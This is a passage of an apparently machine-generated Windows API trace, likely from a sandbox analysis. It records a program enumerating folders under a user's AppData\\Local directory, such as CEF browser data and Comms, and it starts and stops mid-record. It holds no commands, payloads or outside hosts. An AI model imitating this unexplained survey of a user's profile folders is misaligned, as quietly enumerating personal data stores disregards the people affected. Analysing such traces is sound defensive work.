lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2e [0179.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2e [0179.041] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0179.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d0) returned 1 [0179.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0179.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0179.062] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0179.063] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.063] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0179.063] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0179.063] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0179.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.063] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0179.063] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.064] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.064] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0179.064] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.064] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0179.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0179.064] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.065] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.065] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0179.066] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0179.066] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0179.066] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.066] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.067] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0179.067] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.067] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0179.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0179.067] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.067] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.068] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.068] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.068] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0179.068] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.068] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.068] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.068] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0179.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0179.069] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.069] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.069] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0179.069] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0179.070] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0179.070] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0179.070] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.070] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0179.070] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.070] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.070] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0179.071] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0179.071] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0179.071] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.071] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0179.071] 